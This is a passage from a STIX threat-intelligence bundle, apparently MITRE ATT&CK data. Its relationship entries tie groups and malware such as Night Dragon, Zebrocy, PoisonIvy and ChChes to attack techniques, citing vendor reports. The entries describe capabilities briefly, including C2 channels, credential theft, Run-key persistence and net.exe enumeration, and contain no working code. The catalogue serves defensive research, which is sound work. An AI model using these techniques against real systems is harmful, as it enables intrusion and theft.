                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "McAfee Night Dragon",
                    "description": "McAfee\u00ae Foundstone\u00ae Professional Services and McAfee Labs\u2122. (2011, February 10). Global Energy Cyberattacks: \u201cNight Dragon\u201d. Retrieved February 19, 2018.",
                    "url": "https://securingtomorrow.mcafee.com/wp-content/uploads/2011/02/McAfee_NightDragon_wp_draft_to_customersv1-1.pdf"
                }
            ],
            "description": "[Night Dragon](https://attack.mitre.org/groups/G0014) has used ports 25 and 80 for C2 communications.(Citation: McAfee Night Dragon)",
            "id": "relationship--112b0183-25f5-4a58-8b50-c41fcae19784",
            "source_ref": "intrusion-set--23b6a0f5-fa95-46f9-a6f3-4549c5e45ec8",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e",
            "type": "relationship",
            "modified": "2019-03-25T14:36:29.917Z",
            "created": "2019-01-30T18:02:59.262Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Unit42 Cannon Nov 2018",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/11/unit42-sofacy-continues-global-attacks-wheels-new-cannon-trojan/",
                    "description": "Falcone, R., Lee, B. (2018, November 20). Sofacy Continues Global Attacks and Wheels Out New \u2018Cannon\u2019 Trojan. Retrieved November 26, 2018."
                }
            ],
            "description": "[Zebrocy](https://attack.mitre.org/software/S0251) enumerates information about connected storage devices.(Citation: Unit42 Cannon Nov 2018)",
            "id": "relationship--45f3afcd-d0b7-494b-a61a-cad724dbf72a",
            "source_ref": "malware--a4f57468-fbd5-49e4-8476-52088220b92d",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--348f1eef-964b-4eb6-bb53-69b3dcb0c643",
            "type": "relationship",
            "modified": "2019-07-17T01:18:32.766Z",
            "created": "2019-01-30T18:39:48.354Z"
        },
        {
            "id": "relationship--fe99ee01-a049-4867-bf3b-27d05461b0b3",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Calisto](https://attack.mitre.org/software/S0274) has the capability to add its own account to the victim's machine.(Citation: Symantec Calisto July 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Symantec Calisto July 2018",
                    "description": "Pantig, J. (2018, July 30). OSX.Calisto. Retrieved September 7, 2018.",
                    "url": "https://www.symantec.com/security-center/writeup/2018-073014-2512-99?om_rssid=sr-latestthreats30days"
                }
            ],
            "source_ref": "malware--b8fdef82-d2cf-4948-8949-6466357b1be1",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--635cbe30-392d-4e27-978e-66774357c762",
            "type": "relationship",
            "modified": "2020-02-11T16:04:45.792Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "description": "Horejsi, J. (2018, April 04). New MacOS Backdoor Linked to OceanLotus Found. Retrieved November 13, 2018.",
                    "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/new-macos-backdoor-linked-to-oceanlotus-found/",
                    "source_name": "TrendMicro MacOS April 2018"
                },
                {
                    "source_name": "Trend Micro MacOS Backdoor November 2020",
                    "url": "https://www.trendmicro.com/en_us/research/20/k/new-macos-backdoor-connected-to-oceanlotus-surfaces.html",
                    "description": "Magisa, L. (2020, November 27). New MacOS Backdoor Connected to OceanLotus Surfaces. Retrieved December 2, 2020."
                }
            ],
            "description": "[OSX_OCEANLOTUS.D](https://attack.mitre.org/software/S0352) has a command to download and execute a file on the victim\u2019s machine.(Citation: TrendMicro MacOS April 2018)(Citation: Trend Micro MacOS Backdoor November 2020)",
            "id": "relationship--5cb54f4b-f615-44ad-94d6-136ff507c2d6",
            "source_ref": "malware--b00f90b6-c75c-4bfd-b813-ca9e6c9ebf29",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add",
            "type": "relationship",
            "modified": "2020-12-02T14:59:19.051Z",
            "created": "2019-01-30T19:18:20.132Z"
        },
        {
            "id": "relationship--4c94f67d-6662-44ea-be75-ded8b2dbfa00",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "Commands such as <code>net use</code> and <code>net session</code> can be used in [Net](https://attack.mitre.org/software/S0039) to gather information about network connections from a particular host.(Citation: Savill 1999)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "http://windowsitpro.com/windows/netexe-reference",
                    "description": "Savill, J. (1999, March 4). Net.exe reference. Retrieved September 22, 2015.",
                    "source_name": "Savill 1999"
                }
            ],
            "source_ref": "tool--03342581-f790-4f03-ba41-e82e67392e23",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475",
            "type": "relationship",
            "modified": "2020-03-19T13:11:25.644Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--17594ffb-af22-4cdc-8849-ca31d2019a9e",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Threat Group-3390](https://attack.mitre.org/groups/G0027) actors use [at](https://attack.mitre.org/software/S0110) to schedule tasks to run self-extracting RAR archives, which install [HTTPBrowser](https://attack.mitre.org/software/S0070) or [PlugX](https://attack.mitre.org/software/S0013) on other victims on a network.(Citation: Dell TG-3390)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Dell TG-3390",
                    "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.",
                    "url": "https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage"
                }
            ],
            "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--f3d95a1f-bba2-44ce-9af7-37866cd63fd0",
            "type": "relationship",
            "modified": "2020-03-06T20:22:59.803Z",
            "created": "2017-05-31T21:33:27.061Z"
        },
        {
            "id": "relationship--4556634c-06f7-48f9-bcaa-22d023524068",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "The \"Uploader\" variant of [HAMMERTOSS](https://attack.mitre.org/software/S0037) visits a hard-coded server over HTTP/S to download the images [HAMMERTOSS](https://attack.mitre.org/software/S0037) uses to receive commands.(Citation: FireEye APT29)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye APT29",
                    "description": "FireEye Labs. (2015, July). HAMMERTOSS: Stealthy Tactics Define a Russian Cyber Threat Group. Retrieved September 17, 2015.",
                    "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt-apt29-hammertoss.pdf"
                }
            ],
            "source_ref": "malware--2daa14d6-cbf3-4308-bb8e-213c324a08e4",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161",
            "type": "relationship",
            "modified": "2020-03-17T01:26:56.376Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--a1dc7c15-bd44-43b3-a32b-8e4ea9856758",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Backdoor.Oldrea](https://attack.mitre.org/software/S0093) writes collected data to a temporary file in an encrypted form before exfiltration to a C2 server.(Citation: Symantec Dragonfly)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Symantec Dragonfly",
                    "description": "Symantec Security Response. (2014, July 7). Dragonfly: Cyberespionage Attacks Against Energy Suppliers. Retrieved April 8, 2016.",
                    "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/Dragonfly_Threat_Against_Western_Energy_Suppliers.pdf"
                }
            ],
            "source_ref": "malware--083bb47b-02c8-4423-81a2-f9ef58572974",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--53ac20cd-aca3-406e-9aa0-9fc7fdc60a5a",
            "type": "relationship",
            "modified": "2020-03-30T02:49:51.106Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--ccb67d98-71d6-4a26-86b6-281174ca07b0",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Kasidet](https://attack.mitre.org/software/S0088) has the ability to search for a given filename on a victim.(Citation: Zscaler Kasidet)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Zscaler Kasidet",
                    "description": "Yadav, A., et al. (2016, January 29). Malicious Office files dropping Kasidet and Dridex. Retrieved March 24, 2016.",
                    "url": "http://research.zscaler.com/2016/01/malicious-office-files-dropping-kasidet.html"
                }
            ],
            "source_ref": "malware--26fed817-e7bf-41f9-829a-9075ffac45c2",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18",
            "type": "relationship",
            "modified": "2020-03-16T17:02:26.265Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--35419603-7bc2-40f6-8e5d-4e7a8f13ebb7",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[POWRUNER](https://attack.mitre.org/software/S0184) may use WMI when collecting information about a victim.(Citation: FireEye APT34 Dec 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye APT34 Dec 2017",
                    "description": "Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017.",
                    "url": "https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html"
                }
            ],
            "source_ref": "malware--09b2cd76-c674-47cc-9f57-d2f2ad150a46",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055",
            "type": "relationship",
            "modified": "2020-03-17T02:14:55.976Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--2b789109-44c7-4195-8df8-50b1e09b1a69",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[SLOWDRIFT](https://attack.mitre.org/software/S0218) uses cloud based services for C2.(Citation: FireEye APT37 Feb 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye APT37 Feb 2018",
                    "description": "FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.",
                    "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf"
                }
            ],
            "source_ref": "malware--414dc555-c79e-4b24-a2da-9b607f7eaf16",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--be055942-6e63-49d7-9fa1-9cb7d8a8f3f4",
            "type": "relationship",
            "modified": "2020-03-20T21:29:27.716Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--3ef89472-470c-42c9-be01-155efe607b78",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[PoisonIvy](https://attack.mitre.org/software/S0012) contains a keylogger.(Citation: FireEye Poison Ivy)(Citation: Symantec Darkmoon Aug 2005)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye Poison Ivy",
                    "description": "FireEye. (2014). POISON IVY: Assessing Damage and Extracting Intelligence. Retrieved November 12, 2014.",
                    "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-poison-ivy.pdf"
                },
                {
                    "source_name": "Symantec Darkmoon Aug 2005",
                    "description": "Hayashi, K. (2005, August 18). Backdoor.Darkmoon. Retrieved February 23, 2018.",
                    "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2005-081910-3934-99"
                }
            ],
            "source_ref": "malware--b42378e0-f147-496f-992a-26a49705395b",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4",
            "type": "relationship",
            "modified": "2020-03-16T17:30:59.368Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--ed8b5029-835d-492c-a1f4-10ccbf084a76",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Pisloader](https://attack.mitre.org/software/S0124) has commands to list drives on the victim machine and to list file information for a given directory.(Citation: Palo Alto DNS Requests)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Palo Alto DNS Requests",
                    "description": "Grunzweig, J., et al. (2016, May 24). New Wekby Attacks Use DNS Requests As Command and Control Mechanism. Retrieved August 17, 2016.",
                    "url": "http://researchcenter.paloaltonetworks.com/2016/05/unit42-new-wekby-attacks-use-dns-requests-as-command-and-control-mechanism/"
                }
            ],
            "source_ref": "malware--b96680d1-5eb3-4f07-b95c-00ab904ac236",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18",
            "type": "relationship",
            "modified": "2020-03-17T02:10:14.735Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--cde73e1c-da81-4673-a161-49693b45cd48",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13",
            "relationship_type": "uses",
            "target_ref": "tool--cb69b20d-56d0-41ab-8440-4a4b251614d4",
            "external_references": [
                {
                    "source_name": "Unit 42 Magic Hound Feb 2017",
                    "description": "Lee, B. and Falcone, R. (2017, February 15). Magic Hound Campaign Attacks Saudi Targets. Retrieved December 27, 2017.",
                    "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit42-magic-hound-campaign-attacks-saudi-targets/"
                },
                {
                    "source_name": "FireEye APT35 2018",
                    "description": "Mandiant. (2018). Mandiant M-Trends 2018. Retrieved July 9, 2018.",
                    "url": "https://www.fireeye.com/content/dam/collateral/en/mtrends-2018.pdf"
                },
                {
                    "url": "https://www.secureworks.com/blog/iranian-pupyrat-bites-middle-eastern-organizations",
                    "description": "Counter Threat Unit Research Team. (2017, February 15). Iranian PupyRAT Bites Middle Eastern Organizations. Retrieved December 27, 2017.",
                    "source_name": "Secureworks Cobalt Gypsy Feb 2017"
                }
            ],
            "description": "(Citation: Unit 42 Magic Hound Feb 2017)(Citation: FireEye APT35 2018)(Citation: Secureworks Cobalt Gypsy Feb 2017)",
            "type": "relationship",
            "modified": "2021-04-23T14:51:04.305Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--e797fcd8-4ad6-43d3-a36a-3c05d0ce8832",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[PLATINUM](https://attack.mitre.org/groups/G0068) has sent spearphishing emails with attachments to victims as its primary initial access vector.(Citation: Microsoft PLATINUM April 2016)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf",
                    "description": "Windows Defender Advanced Threat Hunting Team. (2016, April 29). PLATINUM: Targeted attacks in South and Southeast Asia. Retrieved February 15, 2018.",
                    "source_name": "Microsoft PLATINUM April 2016"
                }
            ],
            "source_ref": "intrusion-set--f9c06633-dcff-48a1-8588-759e7cec5694",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597",
            "type": "relationship",
            "modified": "2019-05-10T12:14:32.200Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--9e235097-0a3a-410f-b3a1-ec50ea910d47",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Forfiles](https://attack.mitre.org/software/S0193) can be used to locate certain types of files/directories in a system.(ex: locate all files with a specific extension, name, and/or age)(Citation: \u00dcberwachung APT28 Forfiles June 2015)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "\u00dcberwachung APT28 Forfiles June 2015",
                    "description": "Guarnieri, C. (2015, June 19). Digital Attack on German Parliament: Investigative Report on the Hack of the Left Party Infrastructure in Bundestag. Retrieved January 22, 2018.",
                    "url": "https://netzpolitik.org/2015/digital-attack-on-german-parliament-investigative-report-on-the-hack-of-the-left-party-infrastructure-in-bundestag/"
                }
            ],
            "type": "relationship",
            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2018-04-18T17:59:24.739Z",
            "source_ref": "tool--90ec2b22-7061-4469-b539-0989ec4f96c2",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18"
        },
        {
            "id": "relationship--7d115073-c008-4394-867d-07c385d3db87",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Cobalt Group](https://attack.mitre.org/groups/G0080) has sent Word OLE compound documents with malicious obfuscated VBA macros that will run upon user execution.(Citation: Talos Cobalt Group July 2018)(Citation: PTSecurity Cobalt Group Aug 2017)(Citation: Group IB Cobalt Aug 2017)(Citation: Morphisec Cobalt Gang Oct 2018)(Citation: Unit 42 Cobalt Gang Oct 2018)(Citation: TrendMicro Cobalt Group Nov 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://blog.talosintelligence.com/2018/07/multiple-cobalt-personality-disorder.html",
                    "description": "Svajcer, V. (2018, July 31). Multiple Cobalt Personality Disorder. Retrieved September 5, 2018.",
                    "source_name": "Talos Cobalt Group July 2018"
                },
                {
                    "url": "https://www.ptsecurity.com/upload/corporate/ww-en/analytics/Cobalt-2017-eng.pdf",
                    "description": "Positive Technologies. (2017, August 16). Cobalt Strikes Back: An Evolving Multinational Threat to Finance. Retrieved September 5, 2018.",
                    "source_name": "PTSecurity Cobalt Group Aug 2017"
                },
                {
                    "url": "https://www.group-ib.com/blog/cobalt",
                    "description": "Matveeva, V. (2017, August 15). Secrets of Cobalt. Retrieved October 10, 2018.",
                    "source_name": "Group IB Cobalt Aug 2017"
                },
                {
                    "source_name": "Morphisec Cobalt Gang Oct 2018",
                    "url": "https://blog.morphisec.com/cobalt-gang-2.0",
                    "description": "Gorelik, M. (2018, October 08). Cobalt Group 2.0. Retrieved November 5, 2018."
                },
                {
                    "source_name": "Unit 42 Cobalt Gang Oct 2018",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/10/unit42-new-techniques-uncover-attribute-cobalt-gang-commodity-builders-infrastructure-revealed/",
                    "description": "Unit 42. (2018, October 25). New Techniques to Uncover and Attribute Financial actors Commodity Builders and Infrastructure Revealed. Retrieved December 11, 2018."
                },
                {
                    "description": "Giagone, R., Bermejo, L., and Yarochkin, F. (2017, November 20). Cobalt Strikes Again: Spam Runs Use Macros and CVE-2017-8759 Exploit Against Russian Banks. Retrieved March 7, 2019.",
                    "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/cobalt-spam-runs-use-macros-cve-2017-8759-exploit/",
                    "source_name": "TrendMicro Cobalt Group Nov 2017"
                }
            ],
            "source_ref": "intrusion-set--dc6fe6ee-04c2-49be-ba3d-f38d2463c02a",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67",
            "type": "relationship",
            "modified": "2020-06-23T19:41:51.997Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--3297e12f-85de-4630-926a-cddc54964880",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Crimson](https://attack.mitre.org/software/S0115) uses a custom TCP protocol for C2.(Citation: Proofpoint Operation Transparent Tribe March 2016)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Proofpoint Operation Transparent Tribe March 2016",
                    "description": "Huss, D.. (2016, March 1). Operation Transparent Tribe. Retrieved June 8, 2016.",
                    "url": "https://www.proofpoint.com/sites/default/files/proofpoint-operation-transparent-tribe-threat-insight-en.pdf"
                }
            ],
            "source_ref": "malware--326af1cd-78e7-45b7-a326-125d2f7ef8f2",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--f72eb8a8-cd4c-461d-a814-3f862befbf00",
            "type": "relationship",
            "modified": "2020-03-17T16:19:37.516Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--801f139f-1361-4d79-965e-078787f8ec36",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[AutoIt backdoor](https://attack.mitre.org/software/S0129) has sent a C2 response that was base64-encoded.(Citation: Forcepoint Monsoon)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Forcepoint Monsoon",
                    "description": "Settle, A., et al. (2016, August 8). MONSOON - Analysis Of An APT Campaign. Retrieved September 22, 2016.",
                    "url": "https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf"
                }
            ],
            "source_ref": "malware--f5352566-1a64-49ac-8f7f-97e1d1a03300",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c",
            "type": "relationship",
            "modified": "2020-03-20T18:03:40.138Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--895fbe96-6990-4ebd-a192-1653eb31a1ba",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Bisonal](https://attack.mitre.org/software/S0268) uses HTTP for C2 communications.(Citation: Unit 42 Bisonal July 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Unit 42 Bisonal July 2018",
                    "description": "Hayashi, K., Ray, V. (2018, July 31). Bisonal Malware Used in Attacks Against Russia and South Korea. Retrieved August 7, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-bisonal-malware-used-attacks-russia-south-korea/"
                }
            ],
            "source_ref": "malware--65ffc206-d7c1-45b3-b543-f6b726e7840d",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161",
            "type": "relationship",
            "modified": "2020-03-17T00:24:48.169Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "description": "Ebach, L. (2017, June 22). Analysis Results of Zeus.Variant.Panda. Retrieved November 5, 2018.",
                    "url": "https://cyberwtf.files.wordpress.com/2017/07/panda-whitepaper.pdf",
                    "source_name": "GDATA Zeus Panda June 2017"
                }
            ],
            "description": "[Zeus Panda](https://attack.mitre.org/software/S0330) has a command to delete a file. It also can uninstall scripts and delete files to cover its track.(Citation: GDATA Zeus Panda June 2017)",
            "id": "relationship--ba8900d2-1a18-4f44-916d-08b93dc74d9c",
            "source_ref": "malware--198db886-47af-4f4c-bff5-11b891f85946",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c",
            "type": "relationship",
            "modified": "2020-03-28T20:20:36.031Z",
            "created": "2019-01-29T17:59:44.437Z"
        },
        {
            "id": "relationship--64d59c09-1ecd-4711-b2b8-e46d4ffc7ede",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "A [Threat Group-3390](https://attack.mitre.org/groups/G0027) tool can add the binary\u2019s path to the Registry key <code>Software\\Microsoft\\Windows\\CurrentVersion\\Run</code> to add persistence.(Citation: Nccgroup Emissary Panda May 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://research.nccgroup.com/2018/05/18/emissary-panda-a-potential-new-malicious-tool/",
                    "description": "Pantazopoulos, N., Henry T. (2018, May 18). Emissary Panda \u2013 A potential new malicious tool. Retrieved June 25, 2018.",
                    "source_name": "Nccgroup Emissary Panda May 2018"
                }
            ],
            "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279",
            "type": "relationship",
            "modified": "2021-03-29T19:43:26.845Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--9bc7f2ff-7ba1-42f4-9e96-2112e99ab12a",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[ChChes](https://attack.mitre.org/software/S0144) steals credentials stored inside Internet Explorer.(Citation: PWC Cloud Hopper Technical Annex April 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "PWC Cloud Hopper Technical Annex April 2017",
                    "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.",
                    "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf"
                }
            ],
            "source_ref": "malware--dc5d1a33-62aa-4a0c-aa8c-589b87beb11e",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--58a3e6aa-4453-4cc8-a51f-4befe80b31a8",
            "type": "relationship",
            "modified": "2020-03-19T22:27:38.733Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Fortinet Remcos Feb 2017",
                    "url": "https://www.fortinet.com/blog/threat-research/remcos-a-new-rat-in-the-wild-2.html",
                    "description": "Bacurio, F., Salvio, J. (2017, February 14). REMCOS: A New RAT In The Wild. Retrieved November 6, 2018."
                }
            ],
            "description": "[Remcos](https://attack.mitre.org/software/S0332) has a command to hide itself through injecting into another process.(Citation: Fortinet Remcos Feb 2017)",
            "id": "relationship--54e70260-cbf3-4c6b-bd30-208329cfef26",
            "source_ref": "tool--7cd0bc75-055b-4098-a00e-83dc8beaff14",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d",
            "type": "relationship",
            "modified": "2019-04-19T14:39:53.059Z",
            "created": "2019-01-29T18:55:20.757Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "description": "ESET. (2017, March 30). Carbon Paper: Peering into Turla\u2019s second stage backdoor. Retrieved November 7, 2018.",
                    "url": "https://www.welivesecurity.com/2017/03/30/carbon-paper-peering-turlas-second-stage-backdoor/",
                    "source_name": "ESET Carbon Mar 2017"
                },
                {
                    "source_name": "Accenture HyperStack October 2020",
                    "url": "https://www.accenture.com/us-en/blogs/cyber-defense/turla-belugasturgeon-compromises-government-entity",
                    "description": "Accenture. (2020, October). Turla uses HyperStack, Carbon, and Kazuar to compromise government entity. Retrieved December 2, 2020."
                }
            ],
            "description": "[Carbon](https://attack.mitre.org/software/S0335) encrypts configuration files and tasks for the malware to complete using CAST-128 algorithm.(Citation: ESET Carbon Mar 2017)(Citation: Accenture HyperStack October 2020)",
            "id": "relationship--aac99c91-e1b1-42c0-8a13-f166027d5168",
            "source_ref": "malware--b7e9880a-7a7c-4162-bddb-e28e8ef2bf1f",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
            "type": "relationship",
            "modified": "2020-12-03T21:03:56.293Z",
            "created": "2019-01-29T19:36:02.820Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
